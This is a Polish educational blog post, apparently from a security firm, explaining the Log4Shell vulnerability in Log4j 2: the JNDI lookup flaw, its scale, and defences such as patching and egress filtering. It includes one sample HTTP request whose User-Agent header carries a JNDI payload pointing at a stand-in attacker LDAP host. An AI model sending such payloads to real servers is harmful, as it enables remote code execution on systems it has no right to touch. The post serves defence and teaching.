Anatomia RCE: jak działał Log4Shell (CVE-2021-44228)
W grudniu 2021 r. jedna podatność w bibliotece Apache Log4j 2 postawiła na nogi zespoły bezpieczeństwa na całym świecie. CVE-2021-44228, znana jako Log4Shell, otrzymała maksymalną ocenę CVSS 10.0: nieuwierzytelniony napastnik mógł wykonać dowolny kod na serwerze, wysyłając jeden odpowiednio spreparowany ciąg znaków. Ten wpis rozkłada mechanizm na czynniki pierwsze - na przykładzie, który dziś jest już w pełni załatany i publicznie udokumentowany.
Kontekst i legalność. To materiał edukacyjny opisujący publicznie znaną, załataną podatność. Testowanie cudzych systemów jest legalne wyłącznie za pisemną zgodą właściciela. Poniższe treści służą zrozumieniu ryzyka i skutecznej obronie, nie prowadzeniu ataków.
Skąd się wzięła podatność
Log4j to jedna z najpopularniejszych bibliotek logujących w ekosystemie Java - obecna w niezliczonych aplikacjach webowych, serwerach i urządzeniach. Problem tkwił w funkcji message lookups: Log4j interpretował w logowanych komunikatach specjalne wyrażenia ${...}, rozwijając je w czasie działania. Jednym z obsługiwanych mechanizmów było JNDI (Java Naming and Directory Interface), które potrafiło pobrać obiekt ze zdalnego serwera katalogowego, np. przez LDAP.
Połączenie tych dwóch faktów - że logowany tekst bywa kontrolowany przez użytkownika i że ${jndi:...} sięga do sieci - stworzyło ścieżkę do zdalnego wykonania kodu.
Anatomia payloadu
Cały atak zaczyna się od jednego ciągu znaków:
Napastnik umieszczał go tam, gdzie aplikacja z dużym prawdopodobieństwem zaloguje wartość - najczęściej w nagłówku HTTP, polu formularza czy nazwie użytkownika.
Łańcuch ataku krok po kroku
Kluczowa obserwacja: żaden z tych kroków nie wymaga uwierzytelnienia ani interakcji użytkownika. Wystarczy, że podatna aplikacja zaloguje kontrolowany ciąg.
Przykładowe żądanie
Payload najczęściej trafiał do aplikacji przez zwykły nagłówek - tu w User-Agent:
GET /api/status HTTP/1.1
Host: app.example.com
User-Agent: ${jndi:ldap://attacker.example:1389/a}
Accept: */*
Jeśli aplikacja logowała nagłówek User-Agent (co robi wiele frameworków), Log4j rozwijał wyrażenie, łączył się z serwerem LDAP napastnika i - w podatnej konfiguracji - pobierał oraz uruchamiał wskazaną klasę Java.
Dlaczego skala była tak duża
Trzy czynniki złożyły się na „idealną burzę":
- Wszechobecność. Log4j jest zależnością tysięcy projektów - często pośrednią, ukrytą kilka poziomów w głąb drzewa zależności.
- Trywialność. Payload mieści się w jednej linijce i nie wymaga żadnych uprawnień.
- Niewidoczność. Podatny komponent bywał niewidoczny dla zespołów, które nie prowadziły inwentaryzacji oprogramowania (SBOM).
To ostatnie jest lekcją wykraczającą poza samego Log4j: nie zabezpieczysz tego, o czym nie wiesz, że masz.
Jak się bronić
W skrócie, w kolejności priorytetów:
- Aktualizacja Log4j do wersji 2.17.1 lub nowszej - to usuwa źródło problemu.
- Mitygacja tam, gdzie łatka nie jest natychmiast możliwa: usunięcie klasy
JndiLookupz pakietu lub wyłączenie message lookups. - Filtrowanie ruchu wychodzącego (egress) - blokada nieoczekiwanych połączeń LDAP/RMI/DNS przerywa łańcuch nawet przy podatnym kodzie.
Warstwa trzecia jest istotna, bo kupuje czas: nawet zanim wszystkie systemy zostaną załatane, ograniczenie ruchu wychodzącego znacząco podnosi próg trudności ataku.
Co z tego wynika dla Twojej organizacji
Log4Shell nie był wyjątkiem - był zapowiedzią. Podatności w zależnościach (łańcuch dostaw oprogramowania) to jeden z wymaganych obszarów zarządzania ryzykiem w NIS2 / KSC. Praktyczne minimum to: aktualna inwentaryzacja komponentów, proces szybkiej reakcji na nowe CVE oraz okresowe testy potwierdzające, że ekspozycja faktycznie zniknęła.
Jeśli chcesz sprawdzić, czy Twój perymetr jest odporny na tego typu klasy podatności - umów konsultację.